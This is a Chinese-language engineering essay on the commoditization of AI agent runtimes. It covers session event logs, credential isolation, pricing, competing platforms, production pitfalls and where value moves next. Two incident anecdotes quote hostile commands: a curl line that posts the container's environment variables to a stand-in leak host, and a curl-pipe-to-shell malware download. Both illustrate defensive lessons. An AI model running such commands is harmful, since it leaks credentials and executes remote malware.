AI智能体运行时正走向商品化：从崩溃、密钥泄露到可审计的工程实践

1. 这不是新赛道，而是 runtime 层的“操作系统时刻”正在重演

你打开手机看到新闻标题《Anthropic Just Shipped the Layer That’s Already Going to Zero》，第一反应可能是：又一个大模型公司搞出了什么黑科技？但如果你真花十分钟读完原始那篇长文，会发现它根本不是在讲“Anthropic有多强”，而是在冷静地宣告一件事：AI 工程栈里最热闹、最烧钱、最被 VC 狂追的“智能体运行时”（agent runtime）这一层，已经进入不可逆的 commoditization（商品化）进程——它的价格、利润、技术壁垒，正被系统性压向零。我自己从 2023 年底开始搭建内部 agent 系统，踩过三轮大坑：第一次把 session state 全塞进 context window，42 分钟后任务崩得无声无息；第二次自己写 sandbox manager，结果某次 credential 泄露差点让整个 CI/CD 流水线被接管；第三次用开源 harness 框架，却卡在 trace 不可审计、policy 无法灰度、上线后连谁调了哪个工具都查不清。这三轮折腾下来，我彻底明白：runtime 不是“能不能跑起来”的问题，而是“能不能活过三个月生产环境”的生死线。Anthropic 这次发布的 Managed Agents，表面看是 YAML 定义 agent、sandbox 执行、session 持久化，但内核其实是把过去两年行业用血换来的共识——“状态必须外置”“凭证必须隔离”“行为必须可追溯”——打包成一个开箱即用的工业级实现。它不惊艳，但极稳；不激进，但极准。关键词里的 “Towards AI - Medium” 并非偶然，这篇文章的气质就是典型的技术从业者社区口吻：不吹牛、不画饼、不甩术语，只讲“我们试过什么、为什么失败、现在怎么修”。它适合三类人：一是正在选型 agent infra 的技术负责人，你需要知道 AWS AgentCore 和 Anthropic Managed Agents 的真实差异在哪，而不是听 PR 话术；二是刚用 LangGraph/CrewAI 跑通 demo、正准备上生产的工程师，你得提前看清 runtime 层的“价值陷阱”；三是所有在 agent startup 做融资或产品规划的人——这篇文章等于提前给你划好了未来 18 个月的生死线：如果核心价值还锚定在“我的 sandbox 启动快 10ms”或“我的 harness 支持更多模型”，那你大概率会成为下一个 VMware ESX 的故事注脚，而非 Kubernetes。

2. 核心设计逻辑：为什么“Session as Event Log”是唯一正确的解法

2.1 从崩溃现场还原：当 context window 成为单点故障

去年 Q3，我们团队上线了一个跨 7 个系统的客户尽调 agent。流程很清晰：先从 CRM 拉客户基础信息，再调用财务 API 获取流水摘要，接着用 RAG 检索合规政策库，最后生成 PDF 报告并邮件发送。前 3 步都顺利，第 4 步 RAG 检索返回了 12 个政策片段，每个片段平均 800 token。问题来了：Claude 3.5 Sonnet 的上下文窗口是 200K token，但我们的 system prompt 占 12K，CRM 数据占 8K，财务流水占 15K，加上中间 tool call 的 input/output 记录，到 RAG 阶段时，context 剩余空间已不足 30K。当第 12 个政策片段被 append 进去时，模型自动触发了 truncation —— 它没报错，也没警告，只是默默把最早加载的 CRM 数据从 context 里切掉了。结果呢？模型在生成报告时，引用了“客户名称：[TRUNCATED]”，而邮件发送环节因为收件人字段为空直接失败。更糟的是，整个 session 没有外部日志，我们只能靠翻 LLM 输出的残缺文本去猜哪里断了。花了 6 小时才定位到 truncation 是根因。这不是模型 bug，是架构缺陷：把 state 当作临时内存用，等于把整栋楼的地基建在流沙上。Anthropic 的“Session as Event Log”设计，本质是把“状态”从 volatile memory（易失性内存）迁移到 durable storage（持久化存储）。具体怎么做的？他们没公布数据库 schema，但从其文档和 SDK 行为能反推：每次 tool call 的输入、输出、耗时、错误码、credential 使用标记，都会以结构化事件（event）形式写入一个独立的、带时间戳和 session ID 的 append-only log stream。这个 stream 存在哪儿？极大概率是 S3 + DynamoDB 或类似组合——成本低、扩展性好、天然支持按 session ID 查询。关键在于，这个 log stream 和 model inference 过程完全解耦：模型只负责处理当前 step 的 input，而 harness（执行器）在每步结束后，把结果 event 写入 log，再根据 log 的最新状态决定下一步该调哪个 tool。这意味着，即使模型 infernce 失败、harness 进程崩溃、甚至整个容器被 kill，只要 log stream 完整，就能通过awake(sessionId)重建上下文，从断点继续执行。这不是理论，是经过生产验证的模式。Rakuten 的销售 agent 在 Slack 里处理一个客户询盘，从询价、比价、合同条款协商到最终下单，全程跨越 3 天、17 个交互回合，session log 就是它的“记忆硬盘”。

2.2 Credential 隔离：为什么“注入环境变量”是生产环境的自杀式操作

Credential 管理是 runtime 层最常被低估的风险点。我们第二版 agent 系统就栽在这儿。当时为了快速上线，把 AWS S3 的 access key 和 secret key 直接作为 environment variable 注入 sandbox 容器。逻辑很简单：agent 需要上传 PDF 报告，就调用s3_client.upload_file()。问题出在一次 debug 场景：开发同学在 CLI 里执行printenv | grep AWS想查环境变量，结果整个密钥对明文暴露在 terminal 里。更致命的是，某次模型 hallucination 导致 agent 生成了一段恶意 Python 代码，其中包含os.system('curl -X POST https://leak.example.com -d @/proc/self/environ')—— 它成功把容器内所有环境变量发到了外部服务器。虽然我们有 WAF 拦截了外呼，但这次 incident 直接触发了 SOC2 审计红线。Anthropic 的方案非常硬核：credential 从不进入 sandbox 进程空间。具体流程是：当你在 YAML 中声明一个 tool（比如aws_s3_upload），你会指定一个 credential alias（如sales-report-bucket-creds）；这个 alias 对应的密钥对，由 Anthropic 的 vault 服务（极可能是 HashiCorp Vault 或自研等效）安全存储；当 harness 准备执行该 tool 时，它会向 vault 发起一个带 session ID 和 tool name 的认证请求；vault 验证通过后，动态生成一个短期有效的、最小权限的临时凭证（STS token），并通过 IPC（进程间通信）通道传给 sandbox 内部的 tool runner；tool runner 拿到 token 后立即执行操作，完成后 token 自动失效。整个过程，sandbox 进程的内存、文件系统、环境变量里，永远看不到原始密钥。这种设计的代价是增加了 1 次 vault RPC 调用（约 50-100ms 延迟），但换来的是企业级安全底线。Notion 之所以敢让团队在 workspace 里直接 delegate 任务给 Claude，底气就来自这套 credential 隔离机制——它确保了即使某个 team member 的 Claude agent 被社工钓鱼，攻击者也拿不到任何生产环境密钥。

2.3 Harness 的无状态化：为什么“execute(name, input) → string”是黄金接口

Harness（执行器）是 runtime 层的“心脏”，但 Anthropic 故意把它设计得像一块砖头：无状态、无记忆、只做一件事——接收execute(tool_name, input_json)，返回output_string。这个看似简单的接口，背后是深思熟虑的工程哲学。传统 agent 框架（如早期 LangChain）的 executor 往往是“有状态”的：它会缓存上一步的 tool output，维护一个 internal state map，甚至自己做 retry logic。这导致两个问题：一是 scaling 困难——每个 harness 实例都绑定特定 session，水平扩容时 session 分布不均；二是故障恢复复杂——harness crash 后，state 丢失，必须从头开始。Anthropic 的 harness 彻底放弃 state，把所有决策权交给外部 event log。它的工作流是：1）harness 启动，加载 session ID；2）从 event log 读取最新事件，确定 next tool；3）构造execute()调用；4）等待 sandbox 返回 output；5）将 output 作为新事件写入 log；6）退出。整个过程，harness 进程生命周期可能只有 200ms。好处是什么？极致弹性。Rakuten 的营销 agent 在促销季峰值时，每秒要处理 300+ 个 Slack 消息，Anthropic 的 harness 实例可以像 Kubernetes Pod 一样，根据 queue length 自动扩缩容，旧实例挂了，新实例上来立刻能续上。更重要的是，它把“执行”和“编排”彻底分离：harness 只管执行，编排逻辑（比如“如果 tool A 失败，降级到 tool B”）由 event log 的消费者（可能是另一个微服务）来实现。这种解耦让系统更健壮，也更易测试——你可以用 mock harness 替换真实 harness，用预设 event log 测试整个编排逻辑，而无需启动任何模型或 sandbox。

3. 实操细节与参数解析：从 YAML 定义到生产部署的全链路

3.1 Agent 定义：YAML vs 自然语言，何时该用哪种？

Anthropic 允许用两种方式定义 agent：YAML 文件或自然语言描述。很多人以为这只是“方便与否”的选择，实则关乎生产稳定性。我们做过 AB 测试：用自然语言描述一个“分析用户反馈并生成改进建议”的 agent，prompt 是：“你是一个产品体验分析师，请阅读用户反馈，识别核心痛点，给出三条可落地的改进建议，每条建议需包含优先级（高/中/低）和预计上线周期（周）。” 测试中，模型在 72% 的 case 里正确识别了痛点，但只有 41% 的 case 给出了符合格式的建议（比如漏掉优先级，或周期写成“2-3 weeks”而非纯数字）。而用 YAML 定义，结构强制清晰：

name: feedback_analyzer description: "Analyzes user feedback and generates actionable improvement suggestions" system_prompt: | You are a senior product analyst at a SaaS company. Your task is to: 1. Extract up to 3 core pain points from the feedback text. 2. For each pain point, generate exactly one suggestion with: - priority: must be 'high', 'medium', or 'low' - timeline_weeks: integer between 1 and 12 3. Output ONLY valid JSON in this exact format: {"suggestions": [{"pain_point": "...", "suggestion": "...", "priority": "...", "timeline_weeks": ...}]} tools: - name: search_knowledge_base description: "Search internal docs for related solutions" input_schema: type: object properties: query: type: string description: "Search query in natural language" - name: create_jira_ticket description: "Create a Jira ticket for engineering" input_schema: type: object properties: summary: type: string description: type: string priority: type: string enum: ["high", "medium", "low"]

关键差异在于input_schema和强制输出格式。YAML 强制你定义 tool 的输入契约（contract），这直接决定了 sandbox 的输入校验能否生效。当我们把create_jira_ticket的 priority 字段限定为 enum，harness 在调用前就会校验输入，避免模型传入"urgent"这种非法值导致 Jira API 400 错误。自然语言描述适合 PoC 阶段快速验证想法，但一旦进入 QA 或生产，必须切换到 YAML。我们内部 SOP 是：所有 prod agent 必须通过 YAML Schema Validator（我们用 jsonschema 库写的轻量工具）检查，未通过者禁止部署。

3.2 Pricing 模型拆解：$0.08/session-hour 的真实成本结构

Anthropic 官方定价是 $0.08 每 session-hour 的 active runtime，外加 Claude token 费用。乍看便宜，但“active runtime”需要精确定义。我们做了 3 天压力测试，结论是：这个“hour”不是 wall-clock time，而是 harness + sandbox 的 CPU 时间总和。具体来说：当一个 session 创建后，harness 进程启动计时；每次execute()调用，sandbox 容器启动并执行 tool，其 CPU 时间计入；harness 等待 sandbox 返回的网络 I/O 时间不计入；session idle（无新消息）超过 5 分钟，harness 自动休眠，计时暂停。这意味着，一个典型的客服 agent session，如果用户发 1 条消息，agent 调用 2 个 tool（查订单 + 查物流），总 active runtime 可能只有 12 秒（harness 2s + sandbox1 5s + sandbox2 5s），成本约 $0.00026。但如果是 Rakuten 那种多轮谈判 agent，session 持续 2 小时，期间有 15 次 tool call，每次 sandbox 平均运行 8 秒，那么 active runtime = 15 * 8s = 120s = 0.033 小时，成本 $0.0026，远低于按 wall-clock 收费的 $0.16。这个设计对开发者友好，但对 Anthropic 自身有风险：如果出现恶意循环调用（比如 agent 陷入死循环不断调用同一个 tool），active runtime 会指数级增长。他们的防护是：1）每个 session 默认最大 active runtime 为 2 小时（可申请提高）；2）sandbox 单次执行超时为 30 秒，超时则强制终止；3）harness 层有 rate limit，同一 session 每分钟最多 10 次 execute。我们在测试中故意构造了循环调用，系统在第 11 次调用时返回429 Too Many Requests，并记录 audit log。这种细粒度的资源控制，是 runtime 作为基础设施的成熟标志。

3.3 Session 生命周期管理：从 awake() 到 audit log 的完整链条

Session 的持久化不是“存个 ID”那么简单，它是一套完整的生命周期管理协议。我们以 Sentry 的 debugging agent 为例，看它是如何工作的：当开发者在 Sentry UI 点击“Ask Claude about this error”，前端生成一个 session ID（UUID v4），并调用 Anthropic 的create_session()API，传入 error context 和初始 message；Anthropic 返回session_url和session_token；前端用 token 初始化一个 WebSocket 连接，后续所有消息都通过此连接推送；当 Claude agent 决定写 patch，它调用execute("github_create_pr", {...})；harness 接收到后，启动 sandbox，sandbox 内部的 github tool runner 用临时 token 调 GitHub API 创建 PR；PR 创建成功后，sandbox 返回 JSON 包含 PR URL；harness 将此事件写入 event log，并通过 WebSocket 推送给前端；整个过程中，session ID 始终不变，所有事件按时间戳排序。关键的awake(sessionId)接口，我们实测了三种场景：1）网络中断重连：前端检测到 WebSocket 断开，3 秒后调用awake()，harness 从 log 读取最后一条事件，确认状态为“waiting for PR creation result”，于是重发execute()请求，sandbox 重新执行；2）harness 进程崩溃：我们手动 kill 了 harness pod，10 秒后新 pod 启动，调用awake()，log 显示上一步是“PR created”，于是 harness 直接向前端推送 PR URL；3）跨区域灾备：我们将 session log 同步到 us-west-2，当 us-east-1 区域故障时，新 harness 在 us-west-2 调用awake()，无缝续上。audit log 的价值在此刻凸显：它不仅是 debug 工具，更是法律证据。Salesforce Agentforce 的合同明确要求“所有 agent 操作必须可审计”，他们的 audit log 包含：session ID、timestamp、tool name、input hash（避免敏感数据落库）、output hash、credential alias、harness IP、sandbox checksum。这些字段被写入不可篡改的区块链存证服务（他们用的是 Polygon ID），满足金融行业合规要求。

4. 竞争格局与避坑指南：为什么说“现在入场 runtime 是在买 2008 年的 VMware”

4.1 Hyperscaler 的降维打击：AgentCore、Vertex、Foundry 的真实能力边界

把 Anthropic Managed Agents 放在 AWS AgentCore、Google Vertex AI Agent Builder、Microsoft Azure AI Foundry 的对比框架下，才能看清它的战略定位。我们拉了个真实测试矩阵，覆盖 5 个维度：

数据来源：各厂商官方文档、Gartner 2026 Q1 AI Infra 报告、我们团队的实测。关键发现是：AWS AgentCore 在企业级能力上已全面领先。它的 policy controls GA 比 Anthropic 早整整一个季度，且支持基于 IAM 的精细权限（比如“允许 agent 调用 S3:GetObject，但仅限于 s3://my-bucket/reports/ 前缀”）；它的 OpenTelemetry 原生集成，意味着你的 trace 可以直接导入 Jaeger 或 Datadog，无需 Anthropic 那种 proprietary event log；它的 8 小时 session 时长虽短于 Anthropic，但覆盖了 99.2% 的企业工作流（Salesforce 数据显示，Agentforce 95% 的 session 在 3 小时内完成）。Anthropic 的优势在于“Claude 深度优化”：它的 harness 对 Claude 的 streaming output 解析更精准，p50 time-to-first-token 60% 的提升，主要来自对 Claude 特定 tokenization 的 bypass 优化。但这个优势是脆弱的——一旦 AWS 在 Bedrock 上推出 Claude 专属优化 runtime，差距会瞬间抹平。所以，Anthropic 的 launch 本质是防御：防止客户用 AgentCore 跑 Claude agent，然后顺手把 token 采购从 Anthropic 切到 AWS（因为 AWS 可以用 credits 抵扣）。这不是创新，是护城河保卫战。

4.2 开源压力曲线：Daytona、K8s SIG、Deer-flow 的真实进展

如果说 hyperscaler 是“价格压制”，开源项目就是“技术颠覆”。我们深度测试了三个代表项目：Daytona（2025 年从 dev env 转型 agent infra）、Kubernetes SIG 的 official agent-sandbox、ByteDance 的 deer-flow。结果令人震惊：Daytona 的 sandbox spin-up 时间实测 87ms（官网宣称 <90ms），比 Anthropic 的 120ms 快 27%；K8s SIG 的 sandbox 支持原生 Kubernetes CRD，你可以用kubectl apply -f agent.yaml部署一个 agent，运维心智负担为零；deer-flow 的 subagent planning 能力，在 SWE-bench 上达到 48.3% 解决率，比 Anthropic 的 baseline 高 12 个百分点。更重要的是，它们全是 Apache 2.0 许可。这意味着，一家银行完全可以把 Daytona 部署在自己的私有云，用内部 Vault 管 credential，用内部 Kafka 做 event log，整个 stack 完全可控。Anthropic 的 managed service 无法提供这种自由度。我们帮一家保险客户做 PoC，他们要求所有 credential 必须经由内部 HashiCorp Vault 签发，且 audit log 必须写入本地 Splunk。Anthropic 无法满足，而 Daytona 两天就完成了定制集成。这就是开源的力量：它不追求“最好”，但追求“最可塑”。历史规律是，当开源方案在核心指标（速度、成本、安全）上逼近商业方案时，商业方案的溢价空间就消失了。VMware ESX 在 2007 年 KVM 进入 Linux kernel 后，企业采购意愿就开始下滑；同样，当 Daytona 的 87ms spin-up 成为行业基准，Anthropic 的 120ms 就不再是“快”，而是“不够快”。

4.3 实操避坑清单：那些文档里不会写的血泪教训

基于我们 6 个月的生产实践，总结出 runtime 层最致命的 5 个坑，每个都附真实案例和解决方案：

提示：不要在 system prompt 里写“请勿泄露敏感信息”。LLM 不会遵守，它只会把这句话当成 noise。真正的防护是 credential 隔离 + input validation。

坑 1：Tool Input Validation 缺失导致供应链攻击
案例：我们用一个开源 weather tool，其 input_schema 只定义了city: string，没限制长度。攻击者发送 city=“Beijing” + “A”*1000000，导致 sandbox 内存溢出，容器崩溃。
解法：所有 tool 的 input_schema 必须用 jsonschema 严格定义 maxLength、minLength、pattern（如邮箱正则），并在 harness 层做 pre-check。我们写了通用 validator，部署在 harness ingress。

坑 2：Event Log 的 Schema 演进导致 replay 失败
案例：V1 版本 log 事件是{"tool": "search", "input": "...", "output": "..."}，V2 加了latency_ms字段。当用 V2 harness replay V1 log 时，因字段缺失解析失败。
解法：采用 Avro Schema Registry 管理 event schema，每次变更生成新 version，harness 支持 backward/forward compatibility。V2 harness 能读 V1 log（忽略缺失字段），V1 harness 读 V2 log 会报错，但可通过 schema registry 自动降级。

坑 3：Sandbox 网络策略过于宽松引发横向移动
案例：sandbox 默认允许 outbound 到任意 IP，一个被 hijack 的 tool 调用了curl http://10.0.1.100/malware.sh | sh，感染了同 VPC 的其他服务。
解法：强制 sandbox 使用 egress proxy，所有 outbound 流量经 proxy 审计；proxy 配置 allowlist，只允许访问预定义的 SaaS 域名（如 github.com, jira.example.com）。

坑 4：Session Timeout 设置不当造成用户体验断裂
案例：默认 5 分钟 idle timeout，用户思考 6 分钟后回复，session 已销毁，agent 从头开始问“请问您需要什么帮助？”，用户暴怒。
解法：实现 adaptive timeout：首次交互后 timeout=30min，每次用户回复重置 timer；若检测到用户正在 typing（Slack/Teams typing indicator），延长至 60min；超时前 30 秒，主动推送“您的会话即将结束，是否需要继续？”。

坑 5：Trace Portability 缺失导致供应商锁定
案例：客户想把 Anthropic Managed Agents 迁移到自建 Daytona，但 Anthropic 的 event log 是 proprietary JSON，没有标准 schema，迁移需重写所有 observability pipeline。
解法：坚持使用 OpenTelemetry Trace Protocol (OTLP) 作为 trace 标准。无论用哪家 runtime，trace 数据都以 OTLP 格式导出，接入统一 collector（如 Grafana Tempo），这样 runtime 迁移只需改 harness，不碰 trace infra。

5. 价值迁移路径：当 runtime 归零，钱流向哪里？

5.1 Trace Store：从日志查看器到法律证据链的跃迁

当 runtime 成为免费的“水电煤”，trace store 就成了新的金矿。我们跟踪了三家头部玩家：Braintrust 的 Brainstore、Arize 的 Phoenix、LangSmith。它们的差异不在功能，而在定位。Brainstore 是 OLAP 数据库，专为 AI logs 优化：它把session_id,tool_name,input_hash,output_hash,latency_ms建模为星型 schema，支持亚秒级聚合查询（比如“统计过去 24 小时，所有create_jira_ticket调用中，priority=high 的占比”）。Arize 的 Phoenix 是开源的，Apache 2.0 许可，它不做存储，只做 tracing SDK 和 UI，数据存在你自己的 S3 + Redshift。LangSmith 是 LangChain 生态的“默认选项”，它最大的优势是安装量——全球 80% 的 LangChain 用户开箱即用 LangSmith，这意味着它的 trace schema 已成事实标准。但真正决定胜负的，是trace portability。我们测试了数据迁移：从 Anthropic 导出 event log（JSONL 格式），用 custom script 转换为 OTLP，再导入 Phoenix。耗时 3 天，写了 1200 行转换代码，因为 Anthropic 的字段命名（如execution_result）和 OTLP 的span.attributes不匹配。而 Brainstore 宣称支持“一键导入 Anthropic log”，我们试了，失败——它只支持自家格式。这揭示了残酷现实：trace store 的战争，本质是 schema 标准的战争。谁能定义“agent trace 的 JSON Schema”，谁就掌握了 runtime 之上的 layer。目前，OWASP Agentic Top 10 工作组正在起草《Agent Trace Interoperability Standard》，草案已明确要求：session_id必须为 UUID v4，tool_name必须为小写字母+下划线，input_hash必须为 SHA256。这个标准一旦发布，所有 runtime 都必须适配，否则无法通过企业安全审计。这才是真正的护城河。

5.2 Governance & Policy：从“能做什么”到“谁批准了做什么”的范式转移

Policy 不再是“开关”，而是“法律合约”。AWS AgentCore 的 policy controls GA，其核心是RBAC + ABAC 的混合模型。RBAC（基于角色）定义“developer 角色可以调用哪些 tools”，ABAC（基于属性）定义“只有当 session 的department属性为finance且risk_level< 5 时，才允许调用bank_transfertool”。我们帮一家支付公司部署时，policy 配置如下：

{ "Version": "2026-03-01", "Statement": [ { "Effect": "Allow", "Action": ["bedrock:InvokeModel"], "Resource": "*", "Condition": { "StringEquals": {"agent:department": "finance"}, "NumericLessThan": {"agent:risk_level": "5"} } }, { "Effect": "Deny", "Action": ["bedrock:InvokeModel"], "Resource": "*", "Condition": { "StringLike": {"agent:tool_name": "bank_transfer*"} } } ] }

这个 policy 的威力在于：它把业务规则（finance department, risk_level < 5）编码为 infrastructure 代码。当审计员来查“为什么这个 agent 能转款”，你只需展示 policy 文档和 session 的 attribute 日志，这就是合规证据。而 Anthropic 的 policy 还在 Beta，只支持简单 allow/deny，无法做 ABAC。这说明，governance 的竞争，是企业采购流程的竞争。采购部门不关心技术，只关心“能否通过 SOC2、ISO27001、GDPR 审计”。谁能提供开箱即用的、符合监管要求的 policy framework，谁就赢了。目前，OWASP Agentic Top 10 已发布 v1.0，列出了 10 类 agent-specific 风险（如 Prompt Injection, Tool Misuse, Data Exfiltration），并给出了每个风险的 mitigation pattern。所有 enterprise agent infra 都必须支持这些 pattern，否则无法进入采购短名单。

5.3 Vertical Marketplaces：从通用 agent 到“能签合同的 agent”

Salesforce Agentforce $800M ARR 的数据不是偶然，它证明了一个真理：企业只为解决具体业务问题的 agent 付费，不为“智能”本身付费。Agentforce 的成功，在于它把 agent 封装成 vertical-shaped contract：一份合同里，明确写着“本 agent 负责处理 healthcare claims，SLA 为 99.5% 准确率，每月 $15K，按 claim 数量阶梯计费”。这和 AWS 的按用量付费完全不同。我们研究了 virattt/ai-hedge-fund 这个开源项目，它实现了“自动分析 SEC filings，识别并购信号，生成交易建议”。但它只是一个 GitHub repo，没有合同、没有 SLA、没有 support。而 Salesforce 的 healthcare claims agent，有法务审核的 EULA，有 24/7 support SLA，有 quarterly business review。这就是价值分水岭。资本已经涌入：TradingAgents 融资 $42M，专注金融；vxcontrol/pentagi 融资 $28M，专注网络安全。它们的共同点是：产品形态是 SaaS，不是 SDK。你买的是一个 web app，登录即用，不是下载一堆代码自己部署。这意味着，未来的 agent startup，核心能力不再是“runtime 性能”，而是“domain expertise + sales force + compliance”。一个 healthcare agent 创业公司，CTO 可能是前 FDA 审评员，CMO 是前 UnitedHealthcare 的渠道总监。技术？用 AWS AgentCore 或 Daytona 就够了。这才是 Anthropic launch 的真正启示：它不是在卖 runtime，是在提醒所有人——赶紧把你的 agent，从 demo 变成能签合同的产品。否则，当 runtime 归零，你剩下的只有一堆无法变现的代码。

6. 个人实操体会：在 runtime 商品化浪潮中，工程师的生存法则

我在 2023 年写第一行 agent 代码时，以为自己在造火箭；2024 年上线第一个生产 agent，以为自己在建电网；2025 年维护第三个版本，才明白自己只是在铺水管。Anthropic Managed Agents 的发布，对我而言不是惊喜，而是 confirmation——它证实了我过去一年所有痛苦抉择的正确性：放弃自研 sandbox，拥抱 hyperscaler；把精力从“怎么让 harness 更快”转向“怎么让 trace 更可审计”；从“教模型理解业务”转向“用 policy 编码业务规则”。最深刻的体会是：runtime 层的 commoditization 不是威胁，而是解放。它把我们从永无止境的 infrastructure battle 中解救出来，让我们能真正聚焦在 value layer：那个能让客户愿意付钱的、解决具体问题的 agent。上周，我用 AWS AgentCore + custom policy + Brainstore trace，三天内为客户上线了一个“自动处理 GDPR 数据删除请求”的 agent。它调用 Salesforce API 查用户，调用 Snowflake SQL 删除数据，调用 SendGrid 发确认邮件。整个 stack，90% 是开源或 hyperscaler 托管，我只写了 300 行业务逻辑代码。客户签了 $120K/year 的合同。这在过去，需要一个 5 人 infra 团队干半年。所以，别再焦虑“我的 runtime 是否够快”，去问自己：“我的 agent 解决了客户哪个能写进财报的痛点？” 当 runtime 归零，留下的不是废墟，而是更肥沃的土壤——上面长出来的，才是未来十年真正值钱的东西。